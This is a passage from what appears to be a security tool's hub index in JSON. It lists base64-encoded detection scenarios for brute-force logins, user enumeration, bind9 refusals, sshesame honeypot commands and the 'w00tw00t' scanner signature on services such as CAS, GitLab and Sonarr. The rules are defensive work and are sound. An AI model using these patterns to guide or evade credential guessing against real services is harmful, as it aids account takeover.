"IyBHbG9iYWwgYnJvdXRlZm9yY2UKdHlwZTogbGVha3kKI2RlYnVnOiB0cnVlCm5hbWU6IGhpdGVjaDk1L2VtYWlsLWdlbmVyaWMtYmYKZGVzY3JpcHRpb246ICJEZXRlY3QgZ2VuZXJpYyBlbWFpbCBicnV0ZSBmb3JjZSIKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ21haWxfYXV0aCcgJiYgZXZ0Lk1ldGEuc3ViX3R5cGUgPT0gJ2F1dGhfZmFpbCciCmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApjYXBhY2l0eTogNQpsZWFrc3BlZWQ6ICIxMHMiCmJsYWNraG9sZTogMW0KbGFiZWxzOgogc2VydmljZTogZW1haWwKIHR5cGU6IGJmCiByZW1lZGlhdGlvbjogdHJ1ZQotLS0KIyBQZXIgdXNlciBicm91dGVmb3JjZQp0eXBlOiBsZWFreQojZGVidWc6IHRydWUKbmFtZTogaGl0ZWNoOTUvZW1haWwtdXNlci1iZgpkZXNjcmlwdGlvbjogIkRldGVjdCBzcGVjaWZpYyB1c2VyIGVtYWlsIGJydXRlIGZvcmNlIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSA9PSAnbWFpbF9hdXRoJyAmJiBldnQuTWV0YS5zdWJfdHlwZSA9PSAnYXV0aF9mYWlsJyIKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmRpc3RpbmN0OiBldnQuTWV0YS51c2VybmFtZQpjYXBhY2l0eTogMwpsZWFrc3BlZWQ6ICIzMHMiCmJsYWNraG9sZTogMW0KbGFiZWxzOgogc2VydmljZTogZW1haWwKIHR5cGU6IGJmCiByZW1lZGlhdGlvbjogdHJ1ZQ==", "description": "Detect generic email brute force", "author": "hitech95", "labels": { "remediation": "true", "service": "email", "type": "bf" } }, "jusabatier/apereo-cas-bf": { "path": "scenarios/jusabatier/apereo-cas-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "d1bf29f3d7bbf0a7bee0a9e0dddc953c9f0cad2ac4f5d6dcefe7d8ae3dc833a6", "deprecated": false } }, "long_description": "RGV0ZWN0IGZhaWxlZCBDQVMgYXV0aGVudGljYXRpb25zIDoKCiogbGVha3NwZWVkIG9mIDEwcywgY2FwYWNpdHkgb2YgNSBvbiBzYW1lIHRhcmdldCB1c2VyCiogbGVha3NwZWVkIG9mIDEwcywgY2FwYWNpdHkgb2YgNSB1bmlxdWUgZGlzdGluY3QgdXNlcnMK", "content": "IyBjYXMgYnJ1dGVmb3JjZQp0eXBlOiBsZWFreQpuYW1lOiBqdXNhYmF0aWVyL2FwZXJlby1jYXMtYmYKZGVzY3JpcHRpb246ICJEZXRlY3QgQ0FTIGJydXRlZm9yY2UiCmZpbHRlcjogImV2dC5NZXRhLmxvZ190eXBlID09ICdjYXNfZmFpbGVkLWF1dGgnIgpsZWFrc3BlZWQ6ICIxMHMiCnJlZmVyZW5jZXM6CiAgLSBodHRwOi8vd2lraXBlZGlhLmNvbS9jYXMtYmYtaXMtYmFkCmNhcGFjaXR5OiA1Cmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApibGFja2hvbGU6IDFtCnJlcHJvY2VzczogdHJ1ZQpsYWJlbHM6CiBzZXJ2aWNlOiBjYXMKIHR5cGU6IGJydXRlZm9yY2UKIHJlbWVkaWF0aW9uOiB0cnVlCi0tLQojIGNhcyB1c2VyLWVudW0KdHlwZTogbGVha3kKbmFtZToganVzYWJhdGllci9hcGVyZW8tY2FzLWJmX3VzZXItZW51bQpkZXNjcmlwdGlvbjogIkRldGVjdCBDQVMgdXNlciBlbnVtIGJydXRlZm9yY2UiCmZpbHRlcjogZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ2Nhc19mYWlsZWQtYXV0aCcKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmRpc3RpbmN0OiBldnQuTWV0YS50YXJnZXRfdXNlcgpsZWFrc3BlZWQ6IDEwcwpjYXBhY2l0eTogNQpibGFja2hvbGU6IDFtCmxhYmVsczoKIHNlcnZpY2U6IGNhcwogdHlwZTogYnJ1dGVmb3JjZQogcmVtZWRpYXRpb246IHRydWUK", "description": "Detect CAS bruteforce", "author": "jusabatier", "references": [ "http://wikipedia.com/cas-bf-is-bad" ], "labels": { "remediation": "true", "service": "cas", "type": "bruteforce" } }, "jusabatier/apereo-cas-slow-bf": { "path": "scenarios/jusabatier/apereo-cas-slow-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "4bcde74a3f00abede206b5821669531c8ebfbf80b79530414050bfd3ccbfc6f9", "deprecated": false } }, "long_description": "RGV0ZWN0IHNsb3cgQ0FTIGJydXRlZm9yY2UgYXV0aGVudGljYXRpb25zIDoKCiogbGVha3NwZWVkIG9mIDYwcywgY2FwYWNpdHkgb2YgMTAgb24gc2FtZSB0YXJnZXQgdXNlcgoqIGxlYWtzcGVlZCBvZiA2MHMsIGNhcGFjaXR5IG9mIDEwIHVuaXF1ZSBkaXN0aW5jdCB1c2Vycwo=", "content": "IyBDQVMgYnJ1dGVmb3JjZQp0eXBlOiBsZWFreQpuYW1lOiBqdXNhYmF0aWVyL2Nhcy1zbG93LWJmCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IHNsb3cgQ0FTIGJydXRlZm9yY2UiCmZpbHRlcjogImV2dC5NZXRhLmxvZ190eXBlID09ICdjYXNfZmFpbGVkLWF1dGgnIgpsZWFrc3BlZWQ6ICI2MHMiCnJlZmVyZW5jZXM6CiAgLSBodHRwOi8vd2lraXBlZGlhLmNvbS9jYXMtYmYtaXMtYmFkCmNhcGFjaXR5OiAxMApncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKYmxhY2tob2xlOiAxbQpyZXByb2Nlc3M6IHRydWUKbGFiZWxzOgogc2VydmljZTogY2FzCiB0eXBlOiBicnV0ZWZvcmNlCiByZW1lZGlhdGlvbjogdHJ1ZQotLS0KIyBjYXMgdXNlci1lbnVtCnR5cGU6IGxlYWt5Cm5hbWU6IGp1c2FiYXRpZXIvY2FzLXNsb3ctYmZfdXNlci1lbnVtCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IHNsb3cgQ0FTIHVzZXIgZW51bSBicnV0ZWZvcmNlIgpmaWx0ZXI6IGV2dC5NZXRhLmxvZ190eXBlID09ICdjYXNfZmFpbGVkLWF1dGgnCmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApkaXN0aW5jdDogZXZ0Lk1ldGEudGFyZ2V0X3VzZXIKbGVha3NwZWVkOiA2MHMKY2FwYWNpdHk6IDEwCmJsYWNraG9sZTogMW0KbGFiZWxzOgogc2VydmljZTogY2FzCiB0eXBlOiBicnV0ZWZvcmNlCiByZW1lZGlhdGlvbjogdHJ1ZQo=", "description": "Detect slow CAS bruteforce", "author": "jusabatier", "references": [ "http://wikipedia.com/cas-bf-is-bad" ], "labels": { "remediation": "true", "service": "cas", "type": "bruteforce" } }, "jusabatier/cas-slow-bf": { "path": "scenarios/jusabatier/cas-slow-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "6279c83e01b94e7d87271e16118d6b06be9662873c941884a12038fa7adc76c1", "deprecated": false } }, "content": "IyBDQVMgYnJ1dGVmb3JjZQp0eXBlOiBsZWFreQpuYW1lOiBqdXNhYmF0aWVyL2FwZXJlby1jYXMtc2xvdy1iZgpkZXNjcmlwdGlvbjogIkRldGVjdCBzbG93IENBUyBicnV0ZWZvcmNlIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSA9PSAnY2FzX2ZhaWxlZC1hdXRoJyIKbGVha3NwZWVkOiAiNjBzIgpyZWZlcmVuY2VzOgogIC0gaHR0cDovL3dpa2lwZWRpYS5jb20vY2FzLWJmLWlzLWJhZApjYXBhY2l0eTogMTAKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmJsYWNraG9sZTogMW0KcmVwcm9jZXNzOiB0cnVlCmxhYmVsczoKIHNlcnZpY2U6IGNhcwogdHlwZTogYnJ1dGVmb3JjZQogcmVtZWRpYXRpb246IHRydWUKLS0tCiMgY2FzIHVzZXItZW51bQp0eXBlOiBsZWFreQpuYW1lOiBqdXNhYmF0aWVyL2FwZXJlby1jYXMtc2xvdy1iZl91c2VyLWVudW0KZGVzY3JpcHRpb246ICJEZXRlY3Qgc2xvdyBDQVMgdXNlciBlbnVtIGJydXRlZm9yY2UiCmZpbHRlcjogZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ2Nhc19mYWlsZWQtYXV0aCcKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmRpc3RpbmN0OiBldnQuTWV0YS50YXJnZXRfdXNlcgpsZWFrc3BlZWQ6IDYwcwpjYXBhY2l0eTogMTAKYmxhY2tob2xlOiAxbQpsYWJlbHM6CiBzZXJ2aWNlOiBjYXMKIHR5cGU6IGJydXRlZm9yY2UKIHJlbWVkaWF0aW9uOiB0cnVlCg==", "description": "Detect slow CAS bruteforce", "author": "jusabatier", "references": [ "http://wikipedia.com/cas-bf-is-bad" ], "labels": { "remediation": "true", "service": "cas", "type": "bruteforce" } }, "lourys/pterodactyl-wings-bf": { "path": "scenarios/lourys/pterodactyl-wings-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "05da99b5df02bed22d6627edd06897404a53ed13f9033b79cdf7b9cc21538cbe", "deprecated": false } }, "long_description": "RGV0ZWN0IGZhaWxlZCBwdGVyb2RhY3R5bCB3aW5ncyBhdXRoZW50aWNhdGlvbnM6CgpJbnZhbGlkIGZvcm1hdDoKLSBsZWFrc3BlZWQgb2YgMTVzLCBjYXBhY2l0eSBvZiAxIG9uIHNhbWUgdGFyZ2V0IHVzZXIKLSBsZWFrc3BlZWQgb2YgMTVzLCBjYXBhY2l0eSBvZiAxIHVuaXF1ZSBkaXN0aW5jdCB1c2VycwoKSW52YWxpZCB1c2VybmFtZS9wYXNzd29yZDoKLSBsZWFrc3BlZWQgb2YgMTVzLCBjYXBhY2l0eSBvZiAz", "content": "IyMjIyMjIyMjIyMjIyMjIyMjIyMKIyMgSW52YWxpZCBmb3JtYXQgIyMKIyMjIyMjIyMjIyMjIyMjIyMjIyMKdHlwZTogbGVha3kKbmFtZTogbG91cnlzL3B0ZXJvZGFjdHlsLXdpbmdzLWJmCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IGludmFsaWRfZm9ybWF0IHNzaCBicnV0ZWZvcmNlIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSA9PSAncHRlcm9kYWN0bHlfd2luZ3NfaW52YWxpZF9mb3JtYXQnIgpsZWFrc3BlZWQ6ICIxNXMiCmNhcGFjaXR5OiAxCmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApibGFja2hvbGU6IDE1bQpyZXByb2Nlc3M6IHRydWUKbGFiZWxzOgogc2VydmljZTogcHRlcm9kYWN0eWwKIHR5cGU6IGJydXRlZm9yY2UKIHJlbWVkaWF0aW9uOiB0cnVlCi0tLQp0eXBlOiBsZWFreQpuYW1lOiBsb3VyeXMvcHRlcm9kYWN0eWwtd2luZ3MtYmYKZGVzY3JpcHRpb246ICJEZXRlY3QgaW52YWxpZF9mb3JtYXQgc3NoIHVzZXIgZW51bSBicnV0ZWZvcmNlIgpmaWx0ZXI6IGV2dC5NZXRhLmxvZ190eXBlID09ICdwdGVyb2RhY3RseV93aW5nc19pbnZhbGlkX2Zvcm1hdCcKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmRpc3RpbmN0OiBldnQuTWV0YS50YXJnZXRfdXNlcgpsZWFrc3BlZWQ6IDE1cwpjYXBhY2l0eTogMQpibGFja2hvbGU6IDE1bQpsYWJlbHM6CiBzZXJ2aWNlOiBwdGVyb2RhY3R5bAogdHlwZTogYnJ1dGVmb3JjZQogcmVtZWRpYXRpb246IHRydWUKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyMgSW52YWxpZCB1c2VybmFtZS9wYXNzd29yZCAjIwojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCi0tLQp0eXBlOiBsZWFreQpuYW1lOiBsb3VyeXMvcHRlcm9kYWN0eWwtd2luZ3MtYmYKZGVzY3JpcHRpb246ICJEZXRlY3QgaW52YWxpZF91c2VybmFtZV9vcl9wYXNzd29yZCBzc2ggYnJ1dGVmb3JjZSIKZmlsdGVyOiBldnQuTWV0YS5sb2dfdHlwZSA9PSAncHRlcm9kYWN0bHlfd2luZ3NfaW52YWxpZF91c2VybmFtZV9vcl9wYXNzd29yZCcKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmxlYWtzcGVlZDogMTBzCmNhcGFjaXR5OiA1CmJsYWNraG9sZTogMW0KbGFiZWxzOgogc2VydmljZTogcHRlcm9kYWN0eWwKIHR5cGU6IGJydXRlZm9yY2UKIHJlbWVkaWF0aW9uOiB0cnVlCgo=", "description": "Detect invalid_format ssh bruteforce", "author": "lourys", "labels": { "remediation": "true", "service": "pterodactyl", "type": "bruteforce" } }, "ltsich/http-w00tw00t": { "path": "scenarios/ltsich/http-w00tw00t.yaml", "version": "0.1", "versions": { "0.1": { "digest": "f0cba1520658a1016e9d1952473fa9e78175deef2117d2b921e7d994a6e7a549", "deprecated": false } }, "long_description": "dHJpZ2dlciBzY2VuYXJpbyB0byBkZXRlY3QgdzAwdHcwMHQgcGF0dGVybiB1c2VkIGJ5IGh0dHAgdnVsbmVyYWJpbGl0eSBzY2FubmVyLCBzZWUgW3RoaXMgcmVzc291cmNlXShodHRwczovL2lzYy5zYW5zLmVkdS9mb3J1bXMvZGlhcnkvdzAwdHcwMHQvOTAwLykKCj4gQ29udHJpYnV0ZWQgYnkgaHR0cHM6Ly9naXRodWIuY29tL0x0U2ljaAo=", "content": "I2NvbnRyaWJ1dGVkIGJ5IGx0c2ljaAp0eXBlOiB0cmlnZ2VyCm5hbWU6IGx0c2ljaC9odHRwLXcwMHR3MDB0CmRlc2NyaXB0aW9uOiAiZGV0ZWN0IHcwMHR3MDB0IgpkZWJ1ZzogZmFsc2UKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ2h0dHBfYWNjZXNzLWxvZycgJiYgZXZ0LlBhcnNlZC5maWxlX25hbWUgY29udGFpbnMgJ3cwMHR3MDB0LmF0LklTQy5TQU5TLkRGaW5kJyIKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmJsYWNraG9sZTogNW0KbGFiZWxzOgogc2VydmljZTogaHR0cAogdHlwZTogc2NhbgogcmVtZWRpYXRpb246IHRydWUK", "description": "detect w00tw00t", "author": "ltsich", "labels": { "remediation": "true", "service": "http", "type": "scan" } }, "mstilkerich/bind9-refused": { "path": "scenarios/mstilkerich/bind9-refused.yaml", "version": "0.1", "versions": { "0.1": { "digest": "16ff798ce0bde3b31c91eed4d3b022b70ccbe723579ab80ac889880058a50d20", "deprecated": false } }, "long_description": "RGV0ZWN0IEFYRlIgcmVxdWVzdHMgYW5kIEROUyBxdWVyaWVzIHJlamVjdGVkIGJ5IGJpbmQ5IHNlY3VyaXR5IHBvbGljeToKIC0gbGVha3NwZWVkIG9mIDEwcywgY2FwYWNpdHkgb2YgNSBvbiBzb3VyY2UgaXAK", "content": "dHlwZTogbGVha3kKbmFtZTogbXN0aWxrZXJpY2gvYmluZDktcmVmdXNlZApkZXNjcmlwdGlvbjogIkFjdCBvbiBxdWVyaWVzIC8gem9uZSB0cmFuc2ZlcnMgZGVuaWVkIGJ5IGJpbmQ5IHBvbGljeSIKZGVidWc6IGZhbHNlCmZpbHRlcjogImV2dC5NZXRhLmxvZ190eXBlID09ICdiaW5kOV9kZW5pZWQnIgpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKY2FwYWNpdHk6IDUKbGVha3NwZWVkOiAxMHMKYmxhY2tob2xlOiAxbQpsYWJlbHM6CiAgc2VydmljZTogYmluZDkKICB0eXBlOiBzY2FuCiAgIyByZW1lZGlhdGlvbiBsYWJlbCwgaWYgc2V0IHRvIHRydWUgaW5kaWNhdGUgSVAgc2hvdWxkIGJlIGJhbm5lZAogIHJlbWVkaWF0aW9uOiB0cnVlCg==", "description": "Act on queries / zone transfers denied by bind9 policy", "author": "mstilkerich", "labels": { "remediation": "true", "service": "bind9", "type": "scan" } }, "schiz0phr3ne/prowlarr-bf": { "path": "scenarios/schiz0phr3ne/prowlarr-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "feac3b8dda8d9841c36edd56c9e4504d4be3f3cf6027e67c00fb8f2f6b6784ee", "deprecated": false } }, "long_description": "RGV0ZWN0IGZhaWxlZCBQcm93bGFyciBhdXRoZW50aWNhdGlvbnM6CgotIGxlYWtzcGVlZCBvZiAxNXMsIGNhcGFjaXR5IG9mIDUgb24gc291cmNlIGlwCi0gbGVha3NwZWVkIG9mIDMwcywgY2FwYWNpdHkgb2YgNSBvbiBzb3VyY2UgaXAgYW5kIHVuaXF1ZSBkaXN0aW5jdCB1c2Vycwo=", "content": "IyBQcm93bGFyciBicnV0ZWZvcmNlCnR5cGU6IGxlYWt5Cm5hbWU6IHNjaGl6MHBocjNuZS9wcm93bGFyci1iZgpkZXNjcmlwdGlvbjogIkRldGVjdCBQcm93bGFyciBicnV0ZWZvcmNlIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSBpbiBbJ3Byb3dsYXJyX2ZhaWxlZF9hdXRoZW50aWNhdGlvbiddIgpsZWFrc3BlZWQ6ICIxNXMiCmNhcGFjaXR5OiA1Cmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApibGFja2hvbGU6IDFtCnJlcHJvY2VzczogdHJ1ZQpsYWJlbHM6CiAgc2VydmljZTogcHJvd2xhcnIKICB0eXBlOiBicnV0ZWZvcmNlCiAgcmVtZWRpYXRpb246IHRydWUKLS0tCiMgUHJvd2xhcnIgdXNlciBlbnVtIGJydXRlZm9yY2UKdHlwZTogbGVha3kKbmFtZTogc2NoaXowcGhyM25lL3Byb3dsYXJyLWJmX3VzZXItZW51bQpkZXNjcmlwdGlvbjogIkRldGVjdCBQcm93bGFyciB1c2VyIGVudW0gYnJ1dGVmb3JjZSIKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgaW4gWydwcm93bGFycl9mYWlsZWRfYXV0aGVudGljYXRpb24nXSIKbGVha3NwZWVkOiAiMzBzIgpjYXBhY2l0eTogNQpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKZGlzdGluY3Q6IGV2dC5NZXRhLnVzZXJuYW1lCmJsYWNraG9sZTogMW0KcmVwcm9jZXNzOiB0cnVlCmxhYmVsczoKICBzZXJ2aWNlOiBwcm93bGFycgogIHR5cGU6IGJydXRlZm9yY2UKICByZW1lZGlhdGlvbjogdHJ1ZSAK", "description": "Detect Prowlarr bruteforce", "author": "schiz0phr3ne", "labels": { "remediation": "true", "service": "prowlarr", "type": "bruteforce" } }, "schiz0phr3ne/radarr-bf": { "path": "scenarios/schiz0phr3ne/radarr-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "e4917c28697b2e60f6324f0daa7c844154a852ba7db95080575fb428a1596786", "deprecated": false } }, "long_description": "RGV0ZWN0IGZhaWxlZCBSYWRhcnIgYXV0aGVudGljYXRpb25zOgoKLSBsZWFrc3BlZWQgb2YgMTVzLCBjYXBhY2l0eSBvZiA1IG9uIHNvdXJjZSBpcAotIGxlYWtzcGVlZCBvZiAzMHMsIGNhcGFjaXR5IG9mIDUgb24gc291cmNlIGlwIGFuZCB1bmlxdWUgZGlzdGluY3QgdXNlcnMK", "content": "IyBSYWRhcnIgYnJ1dGVmb3JjZQp0eXBlOiBsZWFreQpuYW1lOiBzY2hpejBwaHIzbmUvcmFkYXJyLWJmCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IFJhZGFyciBicnV0ZWZvcmNlIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSBpbiBbJ3JhZGFycl9mYWlsZWRfYXV0aGVudGljYXRpb24nXSIKbGVha3NwZWVkOiAiMTVzIgpjYXBhY2l0eTogNQpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKYmxhY2tob2xlOiAxbQpyZXByb2Nlc3M6IHRydWUKbGFiZWxzOgogIHNlcnZpY2U6IHJhZGFycgogIHR5cGU6IGJydXRlZm9yY2UKICByZW1lZGlhdGlvbjogdHJ1ZQotLS0KIyBSYWRhcnIgdXNlciBlbnVtIGJydXRlZm9yY2UKdHlwZTogbGVha3kKbmFtZTogc2NoaXowcGhyM25lL3JhZGFyci1iZl91c2VyLWVudW0KZGVzY3JpcHRpb246ICJEZXRlY3QgUmFkYXJyIHVzZXIgZW51bSBicnV0ZWZvcmNlIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSBpbiBbJ3JhZGFycl9mYWlsZWRfYXV0aGVudGljYXRpb24nXSIKbGVha3NwZWVkOiAiMzBzIgpjYXBhY2l0eTogNQpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKZGlzdGluY3Q6IGV2dC5NZXRhLnVzZXJuYW1lCmJsYWNraG9sZTogMW0KcmVwcm9jZXNzOiB0cnVlCmxhYmVsczoKICBzZXJ2aWNlOiByYWRhcnIKICB0eXBlOiBicnV0ZWZvcmNlCiAgcmVtZWRpYXRpb246IHRydWUgCg==", "description": "Detect Radarr bruteforce", "author": "schiz0phr3ne", "labels": { "remediation": "true", "service": "radarr", "type": "bruteforce" } }, "schiz0phr3ne/sonarr-bf": { "path": "scenarios/schiz0phr3ne/sonarr-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "110d81a708fdb4d201495e61619d2d36acb24d8e8b8a6e55e2210517618aaff1", "deprecated": false } }, "long_description": "RGV0ZWN0IGZhaWxlZCBTb25hcnIgYXV0aGVudGljYXRpb25zOgoKLSBsZWFrc3BlZWQgb2YgMTVzLCBjYXBhY2l0eSBvZiA1IG9uIHNvdXJjZSBpcAotIGxlYWtzcGVlZCBvZiAzMHMsIGNhcGFjaXR5IG9mIDUgb24gc291cmNlIGlwIGFuZCB1bmlxdWUgZGlzdGluY3QgdXNlcnMK", "content": "IyBTb25hcnIgYnJ1dGVmb3JjZQp0eXBlOiBsZWFreQpuYW1lOiBzY2hpejBwaHIzbmUvc29uYXJyLWJmCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IFNvbmFyciBicnV0ZWZvcmNlIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSBpbiBbJ3NvbmFycl9mYWlsZWRfYXV0aGVudGljYXRpb24nXSIKbGVha3NwZWVkOiAiMTVzIgpjYXBhY2l0eTogNQpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKYmxhY2tob2xlOiAxbQpyZXByb2Nlc3M6IHRydWUKbGFiZWxzOgogIHNlcnZpY2U6IHNvbmFycgogIHR5cGU6IGJydXRlZm9yY2UKICByZW1lZGlhdGlvbjogdHJ1ZQotLS0KIyBTb25hcnIgdXNlciBlbnVtIGJydXRlZm9yY2UKdHlwZTogbGVha3kKbmFtZTogc2NoaXowcGhyM25lL3NvbmFyci1iZl91c2VyLWVudW0KZGVzY3JpcHRpb246ICJEZXRlY3QgU29uYXJyIHVzZXIgZW51bSBicnV0ZWZvcmNlIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSBpbiBbJ3NvbmFycl9mYWlsZWRfYXV0aGVudGljYXRpb24nXSIKbGVha3NwZWVkOiAiMzBzIgpjYXBhY2l0eTogNQpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKZGlzdGluY3Q6IGV2dC5NZXRhLnVzZXJuYW1lCmJsYWNraG9sZTogMW0KcmVwcm9jZXNzOiB0cnVlCmxhYmVsczoKICBzZXJ2aWNlOiBzb25hcnIKICB0eXBlOiBicnV0ZWZvcmNlCiAgcmVtZWRpYXRpb246IHRydWUgCg==", "description": "Detect Sonarr bruteforce", "author": "schiz0phr3ne", "labels": { "remediation": "true", "service": "sonarr", "type": "bruteforce" } }, "thespad/sshesame-honeypot": { "path": "scenarios/thespad/sshesame-honeypot.yaml", "version": "0.2", "versions": { "0.1": { "digest": "0818e9e2be666b4e6315050b7fa96f82dc47b6010c07704370738875842c160b", "deprecated": false }, "0.2": { "digest": "a6120c94b2390d7deea3b79407e37870e084fed11d08bd7434162ce6f84257a5", "deprecated": false } }, "long_description": "IyBzc2hlc2FtZSBzY2VuYXJpb3MKClNjZW5hcmlvcyBmb3IgW3NzaGVzYW1lXShodHRwczovL2dpdGh1Yi5jb20vamFrc2kvc3NoZXNhbWUvKSBob25leXBvdCBsb2dzLgoKIyMgU2NlbmFyaW8gc2V0dXAKCiogQWxsIGxvZ2luIGV2ZW50czogbGVha3NwZWVkIG9mIDMwbSwgY2FwYWNpdHkgb2YgMwoqIEFueSBjb21tYW5kcyBzZW50IGJ5IGNsaWVudHMgYXMgcGFydCBvZiBhIGNvbm5lY3Rpb24gYXR0ZW1wdCB3aWxsIGltbWVkaWF0ZWx5IG92ZXJmbG93Cg==", "content": "IyBzc2hlc2FtZSBicnV0ZWZvcmNlCnR5cGU6IGxlYWt5Cm5hbWU6IHRoZXNwYWQvc3NoZXNhbWUtYmYKZGVzY3JpcHRpb246ICJEZXRlY3Qgc3NoZXNhbWUgYnJ1dGVmb3JjZSIKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ3NzaGVzYW1lX2xvZ2luJyIKbGVha3NwZWVkOiAiMzBtIgpjYXBhY2l0eTogMwpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKYmxhY2tob2xlOiAxbQpsYWJlbHM6CiAgc2VydmljZTogc3NoZXNhbWUKICB0eXBlOiBicnV0ZWZvcmNlCiAgcmVtZWRpYXRpb246IHRydWUKLS0tCiMgc3NoZXNhbWUgY29tbWFuZHMKdHlwZTogdHJpZ2dlcgpuYW1lOiB0aGVzcGFkL3NzaGVzYW1lLWNtZApkZXNjcmlwdGlvbjogIkRldGVjdCBzc2hlc2FtZSBjb21tYW5kcyIKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ3NzaGVzYW1lX2NtZCciCmNhcGFjaXR5OiAwCmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApibGFja2hvbGU6IDFtCmxhYmVsczoKICBzZXJ2aWNlOiBzc2hlc2FtZQogIHR5cGU6IGNvbW1hbmQKICByZW1lZGlhdGlvbjogdHJ1ZQotLS0KIyBzc2hlc2FtZSBpbnB1dAp0eXBlOiBsZWFreQpuYW1lOiB0aGVzcGFkL3NzaGVzYW1lLWlucHV0CmRlc2NyaXB0aW9uOiAiRGV0ZWN0IHNzaGVzYW1lIGlucHV0IHNwYW0iCmZpbHRlcjogImV2dC5NZXRhLmxvZ190eXBlID09ICdzc2hlc2FtZV9pbnB1dCciCmxlYWtzcGVlZDogIjVtIgpjYXBhY2l0eTogNQpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKYmxhY2tob2xlOiAxbQpsYWJlbHM6CiAgc2VydmljZTogc3NoZXNhbWUKICB0eXBlOiBpbnB1dAogIHJlbWVkaWF0aW9uOiB0cnVlCg==", "description": "Detect sshesame bruteforce", "author": "thespad", "labels": { "remediation": "true", "service": "sshesame", "type": "bruteforce" } }, "timokoessler/gitlab-bf": { "path": "scenarios/timokoessler/gitlab-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "c41f3f4003eeb331fa35aa2ace0e861a674992efdb5a26c5f9d447db40a67eca", "deprecated": false } }, "long_description": "RGV0ZWN0IGZhaWxlZCBHaXRMYWIgYXV0aGVudGljYXRpb25zOgoKLSBsZWFrc3BlZWQgb2YgMjBzLCBjYXBhY2l0eSBvZiA1IG9uIHNvdXJjZSBpcAotIGxlYWtzcGVlZCBvZiA0MHMsIGNhcGFjaXR5IG9mIDUgb24gc291cmNlIGlwIGFuZCB1bmlxdWUgZGlzdGluY3QgdXNlcnM=", "content": "IyBnaXRsYWIgYnJ1dGVmb3JjZQp0eXBlOiBsZWFreQpuYW1lOiB0aW1va29lc3NsZXIvZ2l0bGFiLWJmCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IGdpdGxhYiBicnV0ZWZvcmNlIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSBpbiBbJ2dpdGxhYl9mYWlsZWRfcGFzc3dvcmQnLCAnZ2l0bGFiX2ZhaWxlZF90b3RwJ10iCmxlYWtzcGVlZDogIjIwcyIKY2FwYWNpdHk6IDUKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmJsYWNraG9sZTogMW0KcmVwcm9jZXNzOiB0cnVlCmxhYmVsczoKICBzZXJ2aWNlOiBnaXRsYWIKICB0eXBlOiBicnV0ZWZvcmNlCiAgcmVtZWRpYXRpb246IHRydWUKLS0tCiMgZ2l0bGFiIHVzZXIgZW51bSBicnV0ZWZvcmNlCnR5cGU6IGxlYWt5Cm5hbWU6IHRpbW9rb2Vzc2xlci9naXRsYWItYmZfdXNlci1lbnVtCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IGdpdGxhYiB1c2VyIGVudW0gYnJ1dGVmb3JjZSIKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ2dpdGxhYl9mYWlsZWRfcGFzc3dvcmQnIgpsZWFrc3BlZWQ6ICI0MHMiCmNhcGFjaXR5OiA1Cmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcAp